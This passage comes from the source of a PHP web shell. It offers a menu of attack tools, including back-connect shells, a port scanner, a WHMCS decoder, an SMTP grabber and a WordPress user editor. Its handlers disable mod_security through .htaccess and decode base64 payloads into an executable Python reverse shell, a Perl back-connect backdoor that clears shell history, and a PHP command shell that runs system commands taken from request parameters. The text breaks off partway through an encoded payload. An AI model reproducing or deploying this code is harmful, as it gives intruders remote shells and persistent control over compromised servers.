  1995. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
  1996. </tr>
  1997. <tr>
  1998. <td>Port start</td>
  1999. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
  2000. </tr>
  2001. <tr><td>Port end</td>
  2002. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
  2003. </tr><td><center><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
  2004. </td></form></center></table>';
  2005. }
  2006.  
  2007. }
  2008. elseif($_GET['do'] == 'ptbc') {
  2009. echo "<center>";
  2010. echo "<ul>";
  2011. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  2012. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  2013. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  2014. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  2015. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  2016. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  2017. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  2018. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  2019. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  2020. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  2021. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  2022. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  2023. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  2024. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  2025. echo "</ul>";
  2026. echo "</center>";
  2027. mkdir('pyrevrshell', 0755);
  2028. chdir('pyrevrshell');
  2029. $seropil = ".htaccess";
  2030. $angelinalll = "$seropil";
  2031. $shitttyz = fopen ($angelinalll , 'w') or die ("shitttyz a&#231;&#305;lamad&#305;!");
  2032. $dffvfdgfg = "<IfModule mod_security.c>
  2033. SecFilterEngine Off
  2034. SecFilterScanPOST Off
  2035. </IfModule>";
  2036. fwrite ( $shitttyz , $dffvfdgfg ) ;
  2037. fclose ($shitttyz);
  2038. //extract python reverse script
  2039. $vkffhd = 'IyEvdXNyL2Jpbi9weXRob24NCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHNvY2tldA0KaW1wb3J0IHB0eQ0KIA0Kc2hlbGwgPSAiL2Jpbi9zaCINCiANCmRlZiB1c2FnZShwcm9ncmFtbmFtZSk6DQpwcmludCAieXRob24gY29ubmVjdC1iYWNrIGRvb3IiDQpwcmludCAiVXNhZ2U6ICVzIDxjb25uX2JhY2tfaXA+IDxwb3J0PiIgJSBwcm9ncmFtbmFtZQ0KIA0KZGVmIG1haW4oKToNCmlmIGxlbihzeXMuYXJndikgIT0zOg0KdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQpzeXMuZXhpdCgxKQ0KIA0KcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KIA0KdHJ5Og0Kcy5jb25uZWN0KChzb2NrZXQuZ2V0aG9zdGJ5bmFtZShzeXMuYXJndlsxXSksaW50KHN5cy5hcmd2WzJdKSkpDQpwcmludCAiWytdQ29ubmVjdCBPSy4iDQpleGNlcHQ6DQpwcmludCAiWy1dQ2FuJ3QgY29ubmVjdCINCnN5cy5leGl0KDIpDQogDQpvcy5kdXAyKHMuZmlsZW5vKCksMCkNCm9zLmR1cDIocy5maWxlbm8oKSwxKQ0Kb3MuZHVwMihzLmZpbGVubygpLDIpDQpnbG9iYWwgc2hlbGwNCm9zLnVuc2V0ZW52KCJISVNURklMRSIpDQpvcy51bnNldGVudigiSElTVEZJTEVTSVpFIikNCnB0eS5zcGF3bihzaGVsbCkNCnMuY2xvc2UoKQ0KIA0KaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoNCm1haW4oKQ==';
  2040.  
  2041. $jkol = fopen("reversesh.py" ,"w+");
  2042. $write = fwrite ($jkol ,base64_decode($vkffhd));
  2043. fclose($jkol);
  2044. chmod("reversesh.py",0755);
  2045.  
  2046. //extract php command shell
  2047. $merdeeeee = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQeXRob24gQ29ubmVjdCBTaGVsbCBQcml2ODwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDAwIDBweCAycHggN3B4O30gICAgICBhe3RleHQtZGVjb3JhdGlvbjpub25lOyBmb250LWZhbWlseTogVGFob21hLCBHZW5ldmE7IGNvbG9yOiMwMDc3MDA7IHBhZGRpbmc6MnB4IDJweDt9ICAgICAgYTpob3Zlcntjb2xvcjojMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDBmZjAwIDBweCAwcHggM3B4O30JICAuYXJlYSB7IGNvbG9yOiAjMDBiYjAwOyBmb250LXNpemU6IDlwdDsgdGV4dC1zaGFkb3c6IzAwMDAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiBzb2xpZCAwcHggIzAwNzcwMDsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwOTkwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgfQkgIGlucHV0W3R5cGU9c3VibWl0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzcwOyAgZm9udC13ZWlnaHQ6IGJvbGQ7IHRleHQtYWxpZ246IGNlbnRlcjsgIHRleHQtc2hhZG93OiAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7ICBiYWNrZ3JvdW5kOiAjYWVhZWFlOyAgYmFja2dyb3VuZC1jbGlwOiBwYWRkaW5nLWJveDsgIGJvcmRlcjogMXB4IHNvbGlkICMyODQ0NzM7ICBib3JkZXItYm90dG9tLWNvbG9yOiAjMjIzYjY2OyAgYm9yZGVyLXJhZGl1czogNHB4OyAgY3Vyc29yOiBwb2ludGVyOyAgYmFja2dyb3VuZC1pbWFnZTotd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2VhZWFlYSwgI2QwZDBkMCk7ICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7IH0gaW5wdXRbdHlwZT10ZXh0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwOTkwMDsgdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA3NzAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7fSBpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIsIGlucHV0W3R5cGU9dGV4dF06aG92ZXJ7IGNvbG9yOiAjZmZmZmZmOyB0ZXh0LXNoYWRvdzogIzAwNjYwMCAwcHggMHB4IDRweDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwZGQwMDsgYm9yZGVyOiAxcHggc29saWQgIzAwZGQwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gc2VsZWN0eyBwYWRkaW5nOiAzcHg7IHdpZHRoOiAxNjJweDsgY29sb3I6ICMwMGFhMDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGFhMDA7ICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4O30gc2VsZWN0OmhvdmVyeyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9ICAgI2NvbW1hbmRzeyBtYXJnaW4tbGVmdDogMzUwcHg7IG1hcmdpbi1yaWdodDogMzUwcHg7IH0gb3B0aW9ueyBjb2xvcjogIzc3Nzc3NzsgfTwvc3R5bGU+DQo8P3BocA0KZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0iIzAwNzcwMCIgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMnB0Ij5Vc2FnZTogcmV2ZXJzZXNoLnB5IFtpcG11XSBbUG9ydG11XTwvZm9udD4nOw0KZWNobyc8cCBhbGlnbj0iY2VudGVyIj4gDQo8aW1nIGJvcmRlcj0iMCI+PC9wPjxmb250IGZhY2U9IkdlbmV2YSIgYWxpZ249ImNlbnRlciIgc2l6ZT0iMiIgY29sb3I9IiMwMDk5MDAiPiBDb2RlZCBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIDwvZm9udD48YnI+DQo8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0iJy4kbWUuJyI+DQo8cD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIHJvd3M9IjEzIiBuYW1lPSJTMSIgY29scz0iNzAiID4nOw0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfR0VUWydleGVjbWV0aG9kJ10oJF9HRVRbJ2NvbW1hbmQnXSk7fQ0KaWYgKHN0cmxlbigkX1BPU1RbJ2NvbW1hbmQnXSk+MSAmJiAkX1BPU1RbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfUE9TVFsnZXhlY21ldGhvZCddKCRfUE9TVFsnY29tbWFuZCddKTt9DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddPT0icG9wZW4iKXsNCnBvcGVuKCRfR0VUWydjb21tYW5kJ10sInIiKTt9DQoNCmVjaG8nPC90ZXh0YXJlYT48L3A+DQo8cD48Y2VudGVyPklmIG5vdGhpbmcgd29yayBpdCBtZWFucyB0aGF0IHB5dGhvbiBpcyBub3QgZW5hYmxlZCBpbiB0aGlzIHNlcnZlciA6KDwvY2VudGVyPjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPjxzdHJvbmc+Q29tbWFuZDogcHl0aG9uIHJldmVyc2UucHkgeW91cklQIFBvcnQ8L3N0cm9uZz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idnciIHNpemU9IjUwIiB2YWx1ZT0iY21kIj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbW1hbmQiIHNpemU9IjQzIj4gPHNlbGVjdCBuYW1lPWV4ZWNtZXRob2Q+DQo8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icG9wZW4iPnBvcGVuPC9vcHRpb24+DQo8L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPg0KPC9wPjwvZm9ybT4nOw0KPz4=';
  2048. $file = fopen("kiter.php" ,"w+");
  2049. $write = fwrite ($file ,base64_decode($merdeeeee));
  2050. fclose($file);
  2051. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Python Connect Shell Priv8</span><center><center><br><iframe src=pyrevrshell/kiter.php width=75% height=70% frameborder=0></iframe></div></center>';
  2052. }
  2053. elseif($_GET['do'] == 'pbc') {
  2054. echo "<center>";
  2055. echo "<ul>";
  2056. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  2057. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  2058. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  2059. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  2060. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  2061. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  2062. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  2063. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  2064. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  2065. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  2066. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  2067. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  2068. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  2069. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  2070. echo "</ul>";
  2071. echo "</center>";
  2072. mkdir('Backperlrev', 0755);
  2073. chdir('Backperlrev');
  2074. $kokwkwkwkwkw = ".htaccess";
  2075. $wkwkwkwkw_adi = "$kokwkwkwkwkw";
  2076. $wkwkwkwkw = fopen ($wkwkwkwkw_adi , 'w') or die ("wkwkwkwkw a&#231;&#305;lamad&#305;!");
  2077. $zilzil = "<IfModule mod_security.c>
  2078. SecFilterEngine Off
  2079. SecFilterScanPOST Off
  2080. </IfModule>";
  2081. fwrite ( $wkwkwkwkw , $zilzil ) ;
  2082. fclose ($wkwkwkwkw);
  2083. $shellololol = 'dXNlIElPOjpTb2NrZXQ7DQokc3lzdGVtICA9ICcvYmluL2Jhc2gnOw0KJEFSR0M9QEFSR1Y7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUlxuXG4iOw0KaWYgKCRBUkdDIT0yKSB7DQogICBwcmludCAiVXNhZ2U6ICQwIFtIb3N0XSBbUG9ydF0gXG5cbiI7DQogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7DQp9DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0IDooXG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdCA6KFxuIjsNCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0aW5nLi4uICRBUkdWWzBdIFxuIjsNCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGwgXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0ZWQgdG8gcmVtb3RlIGhvc3QgXCEvIFxuIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUiAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLTsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLTsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tOyBwd2Q7ZWNobzsgZWNobyAtLT09U2hlbGw9PS0tICIpOw0Kc3lzdGVtKCRzeXN0ZW0pOw==';
  2084.  
  2085. $zerer = fopen("reverse.pl" ,"w+");
  2086. $write = fwrite ($zerer ,base64_decode($shellololol));
  2087. fclose($zerer);
  2088. chmod("reverse.pl",0755);
  2089.  
  2090. //extract php command shell
  2091. $zonop = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQZXJsIENvbm5lY3QgU2hlbGwgUHJpdjg8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dzE0LjB6ejAuY29tLzIwMTQvMDYvMDQvMjEvMzk2NTU0Mzk0LnBuZyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5eyBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudCAhaW1wb3J0YW50OyBjb2xvcjogIzAwOTkwMDsgdGV4dC1zaGFkb3c6IzAwMCAwcHggMnB4IDdweDt9ICAgICAgYXt0ZXh0LWRlY29yYXRpb246bm9uZTsgZm9udC1mYW1pbHk6IFRhaG9tYSwgR2VuZXZhOyBjb2xvcjojMDA3NzAwOyBwYWRkaW5nOjJweCAycHg7fSAgICAgIGE6aG92ZXJ7Y29sb3I6IzAwOTkwMDsgdGV4dC1zaGFkb3c6IzAwZmYwMCAwcHggMHB4IDNweDt9CSAgLmFyZWEgeyBjb2xvcjogIzAwYmIwMDsgZm9udC1zaXplOiA5cHQ7IHRleHQtc2hhZG93OiMwMDAwMDAgMHB4IDJweCA3cHg7IGJvcmRlcjogc29saWQgMHB4ICMwMDc3MDA7IGJhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDk5MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoMCwxMTksMCkgMHB4IDBweCA0cHg7IH0JICBpbnB1dFt0eXBlPXN1Ym1pdF17IHBhZGRpbmc6IDNweDsgY29sb3I6ICMwMDc3MDsgIGZvbnQtd2VpZ2h0OiBib2xkOyB0ZXh0LWFsaWduOiBjZW50ZXI7ICB0ZXh0LXNoYWRvdzogMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpOyAgYmFja2dyb3VuZDogI2FlYWVhZTsgIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7ICBib3JkZXI6IDFweCBzb2xpZCAjMjg0NDczOyAgYm9yZGVyLWJvdHRvbS1jb2xvcjogIzIyM2I2NjsgIGJvcmRlci1yYWRpdXM6IDRweDsgIGN1cnNvcjogcG9pbnRlcjsgIGJhY2tncm91bmQtaW1hZ2U6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlYWVhZWEsICNkMGQwZDApOyAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyB9IGlucHV0W3R5cGU9dGV4dF17IHBhZGRpbmc6IDNweDsgY29sb3I6ICMwMDk5MDA7IHRleHQtc2hhZG93OiAjNzc3Nzc3IDBweCAwcHggM3B4OyBib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOyBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwNzcwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4O30gaW5wdXRbdHlwZT1zdWJtaXRdOmhvdmVyLCBpbnB1dFt0eXBlPXRleHRdOmhvdmVyeyBjb2xvcjogI2ZmZmZmZjsgdGV4dC1zaGFkb3c6ICMwMDY2MDAgMHB4IDBweCA0cHg7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGRkMDA7IGJvcmRlcjogMXB4IHNvbGlkICMwMGRkMDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9IHNlbGVjdHsgcGFkZGluZzogM3B4OyB3aWR0aDogMTYycHg7IGNvbG9yOiAjMDBhYTAwOyB0ZXh0LXNoYWRvdzojMDAwIDBweCAycHggN3B4OyBib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOyBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBhYTAwOyAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYig4NSwgODUsIDg1KSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYig4NSwgODUsIDg1KSAwcHggMHB4IDRweDt9IHNlbGVjdDpob3ZlcnsgYm9yZGVyOiAxcHggc29saWQgIzAwZGQwMDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwZGQwMDsgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7fSAgICNjb21tYW5kc3sgbWFyZ2luLWxlZnQ6IDM1MHB4OyBtYXJnaW4tcmlnaHQ6IDM1MHB4OyB9IG9wdGlvbnsgY29sb3I6ICM3Nzc3Nzc7IH08L3N0eWxlPg0KPD9waHANCmVjaG8gJzxjZW50ZXI+PGZvbnQgY29sb3I9IiMwMDc3MDAiIGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTFwdCI+VXNhZ2U6IHBlcmwgcmV2ZXJzZS5wbCBbaXBtdV0gW1BvcnRtdV08L2ZvbnQ+PGJyPic7DQplY2hvJzxwIGFsaWduPSJjZW50ZXIiPiANCjxpbWcgYm9yZGVyPSIwIiA+PC9wPjxmb250IGZhY2U9IkdlbmV2YSIgYWxpZ249ImNlbnRlciIgc2l6ZT0iMiIgY29sb3I9IiMwMDc3MDAiPiBDb2RlZCBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIDwvZm9udD48YnI+DQo8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0iJy4kbWUuJyI+DQo8dGV4dGFyZWEgY2xhc3M9ImFyZWEiIHJvd3M9IjEzIiBuYW1lPSJTMSIgY29scz0iNzAiID4nOw0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfR0VUWydleGVjbWV0aG9kJ10oJF9HRVRbJ2NvbW1hbmQnXSk7fQ0KaWYgKHN0cmxlbigkX1BPU1RbJ2NvbW1hbmQnXSk+MSAmJiAkX1BPU1RbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfUE9TVFsnZXhlY21ldGhvZCddKCRfUE9TVFsnY29tbWFuZCddKTt9DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddPT0icG9wZW4iKXsNCnBvcGVuKCRfR0VUWydjb21tYW5kJ10sInIiKTt9DQoNCmVjaG8nPC90ZXh0YXJlYT4NCjxwPjxjZW50ZXI+SWYgbm90aGluZyB3b3JrIGl0IG1lYW5z